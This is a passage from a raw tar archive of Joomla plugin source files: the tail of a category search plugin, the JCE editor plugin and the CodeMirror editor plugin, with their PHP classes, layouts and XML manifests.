		$groups = implode(',', $user->getAuthorisedViewLevels());
		$searchText = $text;

		if (is_array($areas) && !array_intersect($areas, array_keys($this->onContentSearchAreas())))
		{
			return array();
		}

		$sContent = $this->params->get('search_content', 1);
		$sArchived = $this->params->get('search_archived', 1);
		$limit = $this->params->def('search_limit', 50);
		$state = array();

		if ($sContent)
		{
			$state[] = 1;
		}

		if ($sArchived)
		{
			$state[] = 2;
		}

		if (empty($state))
		{
			return array();
		}

		$text = trim($text);

		if ($text === '')
		{
			return array();
		}

		/* TODO: The $where variable does not seem to be used at all
		switch ($phrase)
		{
			case 'exact':
				$text = $db->quote('%' . $db->escape($text, true) . '%', false);
				$wheres2 = array();
				$wheres2[] = 'a.title LIKE ' . $text;
				$wheres2[] = 'a.description LIKE ' . $text;
				$where = '(' . implode(') OR (', $wheres2) . ')';
				break;

			case 'any':
			case 'all';
			default:
				$words = explode(' ', $text);
				$wheres = array();
				foreach ($words as $word)
				{
					$word = $db->quote('%' . $db->escape($word, true) . '%', false);
					$wheres2 = array();
					$wheres2[] = 'a.title LIKE ' . $word;
					$wheres2[] = 'a.description LIKE ' . $word;
					$wheres[] = implode(' OR ', $wheres2);
				}
				$where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')';
				break;
		}
		*/

		switch ($ordering)
		{
			case 'alpha':
				$order = 'a.title ASC';
				break;

			case 'category':
			case 'popular':
			case 'newest':
			case 'oldest':
			default:
				$order = 'a.title DESC';
		}

		$text = $db->quote('%' . $db->escape($text, true) . '%', false);
		$query = $db->getQuery(true);

		// SQLSRV changes.
		$case_when = ' CASE WHEN ';
		$case_when .= $query->charLength('a.alias', '!=', '0');
		$case_when .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when .= ' ELSE ';
		$case_when .= $a_id . ' END as slug';
		$query->select('a.title, a.description AS text, a.created_time AS created, \'2\' AS browsernav, a.id AS catid, ' . $case_when)
			->from('#__categories AS a')
			->where(
				'(a.title LIKE ' . $text . ' OR a.description LIKE ' . $text . ') AND a.published IN (' . implode(',', $state) . ') AND a.extension = '
				. $db->quote('com_content') . 'AND a.access IN (' . $groups . ')'
			)
			->group('a.id, a.title, a.description, a.alias, a.created_time')
			->order($order);

		if ($app->isClient('site') && JLanguageMultilang::isEnabled())
		{
			$query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
		}

		$db->setQuery($query, 0, $limit);

		try
		{
			$rows = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$rows = array();
			JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');
		}

		$return = array();

		if ($rows)
		{
			foreach ($rows as $i => $row)
			{
				if (searchHelper::checkNoHtml($row, $searchText, array('name', 'title', 'text')))
				{
					$row->href = ContentHelperRoute::getCategoryRoute($row->slug);
					$row->section = JText::_('JCATEGORY');

					$return[] = $row;
				}
			}
		}

		return $return;
	}
}
                                                                                                                            search/categories/index.html                                                                        0000705                 00000000037 15242051521 0012126 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 editors/jce/jce.xml                                                                                 0000705                 00000001674 15242051521 0010244 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="editors" method="upgrade">
    <name>plg_editors_jce</name>
    <version>2.8.3</version>
    <creationDate>15-01-2020</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
    <copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_EDITOR_PLUGIN_DESC</description>
    <files folder="plugins/editors/jce">
        <file plugin="jce">jce.php</file>
        <folder>layouts</folder>
    </files>
    <languages folder="administrator/language/en-GB">
        <language tag="en-GB">en-GB.plg_editors_jce.ini</language>
        <language tag="en-GB">en-GB.plg_editors_jce.sys.ini</language>
    </languages>
</extension>
                                                                    editors/jce/jce.php                                                                                 0000705                 00000021177 15242051521 0010233 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @copyright     Copyright (c) 2009-2020 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
// Do not allow direct access
defined('JPATH_PLATFORM') or die;

/**
 * JCE WYSIWYG Editor Plugin.
 *
 * @since 1.5
 */
class plgEditorJCE extends JPlugin
{
    /**
     * Constructor.
     *
     * @param object $subject The object to observe
     * @param array  $config  An array that holds the plugin configuration
     *
     * @since       1.5
     */
    public function __construct(&$subject, $config)
    {
        parent::__construct($subject, $config);
    }

    protected static function getEditorInstance()
    {
        static $instance;

        if (!isset($instance)) {
            // load base file
            require_once JPATH_ADMINISTRATOR . '/components/com_jce/includes/base.php';

            // create editor
            $instance = new WFEditor();
        }

        return $instance;
    }

    /**
     * Method to handle the onInit event.
     *  - Initializes the JCE WYSIWYG Editor.
     *
     * @param   $toString Return javascript and css as a string
     *
     * @return string JavaScript Initialization string
     *
     * @since   1.5
     */
    public function onInit()
    {
        $app = JFactory::getApplication();
        $language = JFactory::getLanguage();

        $document = JFactory::getDocument();

        $language->load('plg_editors_jce', JPATH_ADMINISTRATOR);
        $language->load('com_jce', JPATH_ADMINISTRATOR);

        $app->triggerEvent('onBeforeWfEditorLoad');

        $editor = self::getEditorInstance();
        $settings = $editor->getSettings();

        $app->triggerEvent('onBeforeWfEditorRender', array(&$settings));

        $editor->render($settings);

        // get media version
        $version = $document->getMediaVersion();

        foreach ($editor->getScripts() as $script) {
            // add version directly for backwards compatablity
            if (strpos($script, '?') === false) {
                $script .= '?' . $version;
            } else {
                $script .= '&' . $version;
            }

            $document->addScript($script);
        }

        foreach ($editor->getStyleSheets() as $style) {
            // add version directly for backwards compatablity
            if (strpos($style, '?') === false) {
                $style .= '?' . $version;
            } else {
                $style .= '&' . $version;
            }

            $document->addStylesheet($style);
        }

        $document->addScriptDeclaration(implode("\n", $editor->getScriptDeclaration()));
    }

    /**
     * JCE WYSIWYG Editor - get the editor content.
     *
     * @vars string   The name of the editor
     */
    public function onGetContent($editor)
    {
        return $this->onSave($editor);
    }

    /**
     * JCE WYSIWYG Editor - set the editor content.
     *
     * @vars string   The name of the editor
     */
    public function onSetContent($editor, $html)
    {
        return "WFEditor.setContent('" . $editor . "','" . $html . "');";
    }

    /**
     * JCE WYSIWYG Editor - copy editor content to form field.
     *
     * @vars string   The name of the editor
     */
    public function onSave($editor)
    {
        return "WFEditor.getContent('" . $editor . "');";
    }

    /**
     * JCE WYSIWYG Editor - display the editor.
     *
     * @vars string The name of the editor area
     * @vars string The content of the field
     * @vars string The width of the editor area
     * @vars string The height of the editor area
     * @vars int The number of columns for the editor area
     * @vars int The number of rows for the editor area
     * @vars mixed Can be boolean or array.
     */
    public function onDisplay($name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null)
    {
        if (empty($id)) {
            $id = $name;
        }

        // Only add "px" to width and height if they are not given as a percentage
        if (is_numeric($width)) {
            $width .= 'px';
        }
        if (is_numeric($height)) {
            $height .= 'px';
        }

        if (empty($id)) {
            $id = $name;
        }

        // Data object for the layout
        $textarea = new stdClass;
        $textarea->name = $name;
        $textarea->id = $id;
        $textarea->class = 'mce_editable wf-editor';
        $textarea->cols = $col;
        $textarea->rows = $row;
        $textarea->width = $width;
        $textarea->height = $height;
        $textarea->content = $content;

        // Render Editor markup
        $html = '<div class="editor wf-editor-container mb-2">';
        $html .= '<div class="wf-editor-header"></div>';
        $html .= JLayoutHelper::render('editor.textarea', $textarea, __DIR__ . '/layouts');
        $html .= '</div>';

        $editor = self::getEditorInstance();

        // no profile assigned or available
        if (!$editor->hasProfile()) {
            return $html;
        }

        if (!$editor->hasPlugin('joomla')) {
            $html .= $this->displayButtons($id, $buttons, $asset, $author);
        } else {
            $options = array(
                'joomla_xtd_buttons' => $this->getXtdButtonsList($id, $buttons, $asset, $author),
            );

            JFactory::getDocument()->addScriptOptions('plg_editor_jce', $options, true);

            // render empty container for dynamic buttons
            $html .= JLayoutHelper::render('joomla.editors.buttons', array());
        }

        return $html;
    }

    public function onGetInsertMethod($name)
    {
    }

    private function getXtdButtonsList($name, $buttons, $asset, $author)
    {
        $list = array();

        $excluded = array('readmore', 'pagebreak', 'image');

        if (!is_array($buttons)) {
            $buttons = !$buttons ? false : $excluded;
        } else {
            $buttons = array_merge($buttons, $excluded);
        }

        $buttons = $this->getXtdButtons($name, $buttons, $asset, $author);

        if (!empty($buttons)) {
            foreach ($buttons as $i => $button) {
                if ($button->get('name')) {                    
                    // Set some vars
                    $name = 'button-' . $i . '-' . str_replace(' ', '-', $button->get('text'));
                    $title = $button->get('text');
                    $onclick = $button->get('onclick') ?: '';
                    $icon = $button->get('name');

                    if ($button->get('link') !== '#') {
                        $href = JUri::base() . $button->get('link');
                    } else {
                        $href = '';
                    }

                    $icon = 'none icon-' . $icon;

                    $list[] = array(
                        'name' => $name,
                        'title' => $title,
                        'icon' => $icon,
                        'href' => $href,
                        'onclick' => $onclick,
                    );
                }
            }
        }
        return $list;
    }

    private function getXtdButtons($name, $buttons, $asset, $author)
    {
        $xtdbuttons = array();
        if (is_array($buttons) || (is_bool($buttons) && $buttons)) {
            $buttonsEvent = new Joomla\Event\Event(
                'getButtons',
                [
                    'editor' => $name,
                    'buttons' => $buttons,
                ]
            );
            if (method_exists($this, 'getDispatcher')) {
                $buttonsResult = $this->getDispatcher()->dispatch('getButtons', $buttonsEvent);
                $xtdbuttons = $buttonsResult['result'];
            } else {
                $xtdbuttons = $this->_subject->getButtons($name, $buttons, $asset, $author);
            }
        }
        return $xtdbuttons;
    }

    private function displayButtons($name, $buttons, $asset, $author)
    {
        $buttons = $this->getXtdButtons($name, $buttons, $asset, $author);

        if (!empty($buttons)) {
            // fix some legacy buttons
            array_walk($buttons, function ($button) {
                $cls = $button->get('class', '');
                if (empty($cls) || strpos($cls, 'btn') === false) {
                    $cls .= ' btn';
                    $button->set('class', trim($cls));
                }
            });

            return JLayoutHelper::render('joomla.editors.buttons', $buttons);
        }
    }
}
                                                                                                                                                                                                                                                                                                                                                                                                 editors/jce/layouts/editor/textarea.php                                                             0000705                 00000001215 15242051521 0014264 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     JCE
 * @subpackage  Layout
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_BASE') or die;

$data = $displayData;

?>
<textarea
	spellcheck="false"
	name="<?php echo $data->name; ?>"
	id="<?php echo $data->id; ?>"
	cols="<?php echo $data->cols; ?>"
	rows="<?php echo $data->rows; ?>"
	style="width: <?php echo $data->width; ?>; height: <?php echo $data->height; ?>;"
	class="<?php echo empty($data->class) ? 'mce_editable' : $data->class; ?>"
><?php echo $data->content; ?></textarea>
                                                                                                                                                                                                                                                                                                                                                                                   editors/codemirror/fonts.php                                                                        0000705                 00000002104 15242051521 0012214 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   (C) 2014 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

JFormHelper::loadFieldClass('list');

/**
 * Supports an HTML select list of fonts
 *
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 * @since       3.4
 */
class JFormFieldFonts extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.4
	 */
	protected $type = 'Fonts';

	/**
	 * Method to get the list of fonts field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.4
	 */
	protected function getOptions()
	{
		$fonts = json_decode(file_get_contents(__DIR__ . '/fonts.json'));
		$options = array();

		foreach ($fonts as $key => $info)
		{
			$options[] = JHtml::_('select.option', $key, $info->name);
		}

		// Merge any additional options in the XML definition.
		return array_merge(parent::getOptions(), $options);
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                            editors/codemirror/layouts/editors/codemirror/init.php                                              0000705                 00000007243 15242051521 0017355 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

$params   = $displayData->params;
$basePath = $params->get('basePath', 'media/editors/codemirror/');
$modePath = $params->get('modePath', 'media/editors/codemirror/mode/%N/%N');
$extJS    = JDEBUG ? '.js' : '.min.js';
$extCSS   = JDEBUG ? '.css' : '.min.css';

JHtml::_('script', $basePath . 'lib/codemirror' . $extJS, array('version' => 'auto'));
JHtml::_('script', $basePath . 'lib/addons' . $extJS, array('version' => 'auto'));
JHtml::_('stylesheet', $basePath . 'lib/codemirror' . $extCSS, array('version' => 'auto'));
JHtml::_('stylesheet', $basePath . 'lib/addons' . $extCSS, array('version' => 'auto'));

$fskeys          = $params->get('fullScreenMod', array());
$fskeys[]        = $params->get('fullScreen', 'F10');
$fullScreenCombo = implode('-', $fskeys);
$fsCombo         = json_encode($fullScreenCombo);
$modPath         = json_encode(JUri::root(true) . '/' . $modePath . $extJS);
JFactory::getDocument()->addScriptDeclaration(
<<<JS
		;(function (cm, $) {
			cm.commands.toggleFullScreen = function (cm) {
				cm.setOption('fullScreen', !cm.getOption('fullScreen'));
			};
			cm.commands.closeFullScreen = function (cm) {
				cm.getOption('fullScreen') && cm.setOption('fullScreen', false);
			};

			cm.keyMap.default['Ctrl-Q'] = 'toggleFullScreen';
			cm.keyMap.default[$fsCombo] = 'toggleFullScreen';
			cm.keyMap.default['Esc'] = 'closeFullScreen';
			// For mode autoloading.
			cm.modeURL = $modPath;
			// Fire this function any time an editor is created.
			cm.defineInitHook(function (editor)
			{
				// Try to set up the mode
				var mode = cm.findModeByMIME(editor.options.mode || '') ||
							cm.findModeByName(editor.options.mode || '') ||
							cm.findModeByExtension(editor.options.mode || '');

				cm.autoLoadMode(editor, mode ? mode.mode : editor.options.mode);

				if (mode && mode.mime)
				{
					editor.setOption('mode', mode.mime);
				}

				// Handle gutter clicks (place or remove a marker).
				editor.on('gutterClick', function (ed, n, gutter) {
					if (gutter != 'CodeMirror-markergutter') { return; }
					var info = ed.lineInfo(n),
						hasMarker = !!info.gutterMarkers && !!info.gutterMarkers['CodeMirror-markergutter'];
					ed.setGutterMarker(n, 'CodeMirror-markergutter', hasMarker ? null : makeMarker());
				});

				// jQuery's ready function.
				$(function () {
					// Some browsers do something weird with the fieldset which doesn't work well with CodeMirror. Fix it.
					$(editor.getWrapperElement()).parent('fieldset').css('min-width', 0);
					// Listen for Bootstrap's 'shown' event. If this editor was in a hidden element when created, it may need to be refreshed.
					$(document.body).on('shown shown.bs.tab shown.bs.modal', function () { editor.refresh(); });
				});
			});

			function makeMarker()
			{
				var marker = document.createElement('div');
				marker.className = 'CodeMirror-markergutter-mark';
				return marker;
			}

			// Initialize any CodeMirrors on page load and when a subform is added
			$(function ($) {
				initCodeMirror();
				$('body').on('subform-row-add', initCodeMirror);
			});

			function initCodeMirror(event, container)
			{
				container = container || document;
				$(container).find('textarea.codemirror-source').each(function () {
					var input = $(this).removeClass('codemirror-source');
					var id = input.prop('id');

					Joomla.editors.instances[id] = cm.fromTextArea(this, input.data('options'));
				});
			}

		}(CodeMirror, jQuery));
JS
);
                                                                                                                                                                                                                                                                                                                                                             editors/codemirror/layouts/editors/codemirror/styles.php                                            0000705                 00000004502 15242051521 0017730 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

$params     = $displayData->params;
$fontFamily = isset($displayData->fontFamily) ? $displayData->fontFamily : 'monospace';
$fontSize   = $params->get('fontSize', 13) . 'px;';
$lineHeight = $params->get('lineHeight', 1.2) . 'em;';

// Set the active line color.
$color           = $params->get('activeLineColor', '#a4c2eb');
$r               = hexdec($color[1] . $color[2]);
$g               = hexdec($color[3] . $color[4]);
$b               = hexdec($color[5] . $color[6]);
$activeLineColor = 'rgba(' . $r . ', ' . $g . ', ' . $b . ', .5)';

// Set the color for matched tags.
$color               = $params->get('highlightMatchColor', '#fa542f');
$r                   = hexdec($color[1] . $color[2]);
$g                   = hexdec($color[3] . $color[4]);
$b                   = hexdec($color[5] . $color[6]);
$highlightMatchColor = 'rgba(' . $r . ', ' . $g . ', ' . $b . ', .5)';

JFactory::getDocument()->addStyleDeclaration(
<<<CSS
		.CodeMirror
		{
			font-family: $fontFamily;
			font-size: $fontSize;
			line-height: $lineHeight;
			border: 1px solid #ccc;
		}
		/* In order to hid the Joomla menu */
		.CodeMirror-fullscreen
		{
			z-index: 1040;
		}
		/* Make the fold marker a little more visible/nice */
		.CodeMirror-foldmarker
		{
			background: rgb(255, 128, 0);
			background: rgba(255, 128, 0, .5);
			box-shadow: inset 0 0 2px rgba(255, 255, 255, .5);
			font-family: serif;
			font-size: 90%;
			border-radius: 1em;
			padding: 0 1em;
			vertical-align: middle;
			color: white;
			text-shadow: none;
		}
		.CodeMirror-foldgutter, .CodeMirror-markergutter { width: 1.2em; text-align: center; }
		.CodeMirror-markergutter { cursor: pointer; }
		.CodeMirror-markergutter-mark { cursor: pointer; text-align: center; }
		.CodeMirror-markergutter-mark:after { content: "\25CF"; }
		.CodeMirror-activeline-background { background: $activeLineColor; }
		.CodeMirror-matchingtag { background: $highlightMatchColor; }
		.cm-matchhighlight {background-color: $highlightMatchColor; }
		.CodeMirror-selection-highlight-scrollbar {background-color: $highlightMatchColor; }
CSS
);
                                                                                                                                                                                              editors/codemirror/layouts/editors/codemirror/element.php                                           0000705                 00000002052 15242051521 0020034 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

$options  = $displayData->options;
$params   = $displayData->params;
$name     = $displayData->name;
$id       = $displayData->id;
$cols     = $displayData->cols;
$rows     = $displayData->rows;
$content  = $displayData->content;
$buttons  = $displayData->buttons;
$modifier = $params->get('fullScreenMod', array()) ? implode(' + ', $params->get('fullScreenMod', array())) . ' + ' : '';

?>

<p class="label">
    <?php echo JText::sprintf('PLG_CODEMIRROR_TOGGLE_FULL_SCREEN', $modifier, $params->get('fullScreen', 'F10')); ?>
</p>

<?php
	echo '<textarea class="codemirror-source" name="', $name,
		'" id="', $id,
		'" cols="', $cols,
		'" rows="', $rows,
		'" data-options="', htmlspecialchars(json_encode($options)),
		'">', $content, '</textarea>';
?>

<?php echo $buttons; ?>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      editors/codemirror/codemirror.php                                                                   0000705                 00000024473 15242051521 0013245 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors.codemirror
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// No direct access
defined('_JEXEC') or die;

/**
 * CodeMirror Editor Plugin.
 *
 * @since  1.6
 */
class PlgEditorCodemirror extends JPlugin
{
	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  3.1.4
	 */
	protected $autoloadLanguage = true;

	/**
	 * Mapping of syntax to CodeMirror modes.
	 *
	 * @var array
	 */
	protected $modeAlias = array();

	/**
	 * Initialises the Editor.
	 *
	 * @return  void
	 */
	public function onInit()
	{
		static $done = false;

		// Do this only once.
		if ($done)
		{
			return;
		}

		$done = true;

		// Most likely need this later
		$doc = JFactory::getDocument();

		// Codemirror shall have its own group of plugins to modify and extend its behavior
		JPluginHelper::importPlugin('editors_codemirror');
		$dispatcher	= JEventDispatcher::getInstance();

		// At this point, params can be modified by a plugin before going to the layout renderer.
		$dispatcher->trigger('onCodeMirrorBeforeInit', array(&$this->params));

		$displayData = (object) array('params'  => $this->params);

		// We need to do output buffering here because layouts may actually 'echo' things which we do not want.
		ob_start();
		JLayoutHelper::render('editors.codemirror.init', $displayData, __DIR__ . '/layouts');
		ob_end_clean();

		$font = $this->params->get('fontFamily', '0');
		$fontInfo = $this->getFontInfo($font);

		if (isset($fontInfo))
		{
			if (isset($fontInfo->url))
			{
				$doc->addStyleSheet($fontInfo->url);
			}

			if (isset($fontInfo->css))
			{
				$displayData->fontFamily = $fontInfo->css . '!important';
			}
		}

		// We need to do output buffering here because layouts may actually 'echo' things which we do not want.
		ob_start();
		JLayoutHelper::render('editors.codemirror.styles', $displayData, __DIR__ . '/layouts');
		ob_end_clean();

		$dispatcher->trigger('onCodeMirrorAfterInit', array(&$this->params));
	}

	/**
	 * Copy editor content to form field.
	 *
	 * @param   string  $id  The id of the editor field.
	 *
	 * @return  string  Javascript
	 *
	 * @deprecated 4.0 Code executes directly on submit
	 */
	public function onSave($id)
	{
		return sprintf('document.getElementById(%1$s).value = Joomla.editors.instances[%1$s].getValue();', json_encode((string) $id));
	}

	/**
	 * Get the editor content.
	 *
	 * @param   string  $id  The id of the editor field.
	 *
	 * @return  string  Javascript
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onGetContent($id)
	{
		return sprintf('Joomla.editors.instances[%1$s].getValue();', json_encode((string) $id));
	}

	/**
	 * Set the editor content.
	 *
	 * @param   string  $id       The id of the editor field.
	 * @param   string  $content  The content to set.
	 *
	 * @return  string  Javascript
	 *
	 * @deprecated 4.0 Use directly the returned code
	 */
	public function onSetContent($id, $content)
	{
		return sprintf('Joomla.editors.instances[%1$s].setValue(%2$s);', json_encode((string) $id), json_encode((string) $content));
	}

	/**
	 * Adds the editor specific insert method.
	 *
	 * @return  void
	 *
	 * @deprecated 4.0 Code is loaded in the init script
	 */
	public function onGetInsertMethod()
	{
		static $done = false;

		// Do this only once.
		if ($done)
		{
			return true;
		}

		$done = true;

		JFactory::getDocument()->addScriptDeclaration("
		;function jInsertEditorText(text, editor) { Joomla.editors.instances[editor].replaceSelection(text); }
		");

		return true;
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The control name.
	 * @param   string   $content  The contents of the text area.
	 * @param   string   $width    The width of the text area (px or %).
	 * @param   string   $height   The height of the text area (px or %).
	 * @param   int      $col      The number of columns for the textarea.
	 * @param   int      $row      The number of rows for the textarea.
	 * @param   boolean  $buttons  True and the editor buttons will be displayed.
	 * @param   string   $id       An optional ID for the textarea (note: since 1.6). If not supplied the name is used.
	 * @param   string   $asset    Not used.
	 * @param   object   $author   Not used.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string  HTML
	 */
	public function onDisplay(
		$name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array())
	{
		// True if a CodeMirror already has autofocus. Prevent multiple autofocuses.
		static $autofocused;

		$id = empty($id) ? $name : $id;

		// Must pass the field id to the buttons in this editor.
		$buttons = $this->displayButtons($id, $buttons, $asset, $author);

		// Only add "px" to width and height if they are not given as a percentage.
		$width .= is_numeric($width) ? 'px' : '';
		$height .= is_numeric($height) ? 'px' : '';

		// Options for the CodeMirror constructor.
		$options = new stdClass;

		// Is field readonly?
		if (!empty($params['readonly']))
		{
			$options->readOnly = 'nocursor';
		}

		// Should we focus on the editor on load?
		if (!$autofocused)
		{
			$options->autofocus = isset($params['autofocus']) ? (bool) $params['autofocus'] : false;
			$autofocused = $options->autofocus;
		}

		$options->lineWrapping = (boolean) $this->params->get('lineWrapping', 1);

		// Add styling to the active line.
		$options->styleActiveLine = (boolean) $this->params->get('activeLine', 1);

		// Do we highlight selection matches?
		if ($this->params->get('selectionMatches', 1))
		{
			$options->highlightSelectionMatches = array(
					'showToken' => true,
					'annotateScrollbar' => true,
				);
		}

		// Do we use line numbering?
		if ($options->lineNumbers = (boolean) $this->params->get('lineNumbers', 1))
		{
			$options->gutters[] = 'CodeMirror-linenumbers';
		}

		// Do we use code folding?
		if ($options->foldGutter = (boolean) $this->params->get('codeFolding', 1))
		{
			$options->gutters[] = 'CodeMirror-foldgutter';
		}

		// Do we use a marker gutter?
		if ($options->markerGutter = (boolean) $this->params->get('markerGutter', $this->params->get('marker-gutter', 1)))
		{
			$options->gutters[] = 'CodeMirror-markergutter';
		}

		// Load the syntax mode.
		$syntax = !empty($params['syntax'])
			? $params['syntax']
			: $this->params->get('syntax', 'html');
		$options->mode = isset($this->modeAlias[$syntax]) ? $this->modeAlias[$syntax] : $syntax;

		// Load the theme if specified.
		if ($theme = $this->params->get('theme'))
		{
			$options->theme = $theme;
			JHtml::_('stylesheet', $this->params->get('basePath', 'media/editors/codemirror/') . 'theme/' . $theme . '.css', array('version' => 'auto'));
		}

		// Special options for tagged modes (xml/html).
		if (in_array($options->mode, array('xml', 'html', 'php')))
		{
			// Autogenerate closing tags (html/xml only).
			$options->autoCloseTags = (boolean) $this->params->get('autoCloseTags', 1);

			// Highlight the matching tag when the cursor is in a tag (html/xml only).
			$options->matchTags = (boolean) $this->params->get('matchTags', 1);
		}

		// Special options for non-tagged modes.
		if (!in_array($options->mode, array('xml', 'html')))
		{
			// Autogenerate closing brackets.
			$options->autoCloseBrackets = (boolean) $this->params->get('autoCloseBrackets', 1);

			// Highlight the matching bracket.
			$options->matchBrackets = (boolean) $this->params->get('matchBrackets', 1);
		}

		$options->scrollbarStyle = $this->params->get('scrollbarStyle', 'native');

		// KeyMap settings.
		$options->keyMap = $this->params->get('keyMap', false);

		// Support for older settings.
		if ($options->keyMap === false)
		{
			$options->keyMap = $this->params->get('vimKeyBinding', 0) ? 'vim' : 'default';
		}

		if ($options->keyMap && $options->keyMap != 'default')
		{
			$this->loadKeyMap($options->keyMap);
		}

		$displayData = (object) array(
				'options' => $options,
				'params'  => $this->params,
				'name'    => $name,
				'id'      => $id,
				'cols'    => $col,
				'rows'    => $row,
				'content' => $content,
				'buttons' => $buttons
			);

		$dispatcher = JEventDispatcher::getInstance();

		// At this point, displayData can be modified by a plugin before going to the layout renderer.
		$results = $dispatcher->trigger('onCodeMirrorBeforeDisplay', array(&$displayData));

		$results[] = JLayoutHelper::render('editors.codemirror.element', $displayData, __DIR__ . '/layouts', array('debug' => JDEBUG));

		foreach ($dispatcher->trigger('onCodeMirrorAfterDisplay', array(&$displayData)) as $result)
		{
			$results[] = $result;
		}

		return implode("\n", $results);
	}

	/**
	 * Displays the editor buttons.
	 *
	 * @param   string  $name     Button name.
	 * @param   mixed   $buttons  [array with button objects | boolean true to display buttons]
	 * @param   mixed   $asset    Unused.
	 * @param   mixed   $author   Unused.
	 *
	 * @return  string  HTML
	 */
	protected function displayButtons($name, $buttons, $asset, $author)
	{
		$return = '';

		$args = array(
			'name'  => $name,
			'event' => 'onGetInsertMethod'
		);

		$results = (array) $this->update($args);

		if ($results)
		{
			foreach ($results as $result)
			{
				if (is_string($result) && trim($result))
				{
					$return .= $result;
				}
			}
		}

		if (is_array($buttons) || (is_bool($buttons) && $buttons))
		{
			$buttons = $this->_subject->getButtons($name, $buttons, $asset, $author);

			$return .= JLayoutHelper::render('joomla.editors.buttons', $buttons);
		}

		return $return;
	}

	/**
	 * Gets font info from the json data file
	 *
	 * @param   string  $font  A key from the $fonts array.
	 *
	 * @return  object
	 */
	protected function getFontInfo($font)
	{
		static $fonts;

		if (!$fonts)
		{
			$fonts = json_decode(file_get_contents(__DIR__ . '/fonts.json'), true);
		}

		return isset($fonts[$font]) ? (object) $fonts[$font] : null;
	}

	/**
	 * Loads a keyMap file
	 *
	 * @param   string  $keyMap  The name of a keyMap file to load.
	 *
	 * @return  void
	 */
	protected function loadKeyMap($keyMap)
	{
		$basePath = $this->params->get('basePath', 'media/editors/codemirror/');
		$ext = JDEBUG ? '.js' : '.min.js';
		JHtml::_('script', $basePath . 'keymap/' . $keyMap . $ext, array('version' => 'auto'));
	}
}
                                                                                                                                                                                                     editors/codemirror/codemirror.xml                                                                   0000705                 00000024674 15242051521 0013261 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="editors" method="upgrade">
	<name>plg_editors_codemirror</name>
	<version>5.60.0</version>
	<creationDate>28 March 2011</creationDate>
	<author>Marijn Haverbeke</author>
	<authorEmail>marijnh@gmail.com</authorEmail>
	<authorUrl>https://codemirror.net/</authorUrl>
	<copyright>Copyright (C) 2014 - 2021 by Marijn Haverbeke &lt;marijnh@gmail.com&gt; and others</copyright>
	<license>MIT license: https://codemirror.net/LICENSE</license>
	<description>PLG_CODEMIRROR_XML_DESCRIPTION</description>
	<files>
		<filename plugin="codemirror">codemirror.php</filename>
		<filename>styles.css</filename>
		<filename>styles.min.css</filename>
		<filename>fonts.json</filename>
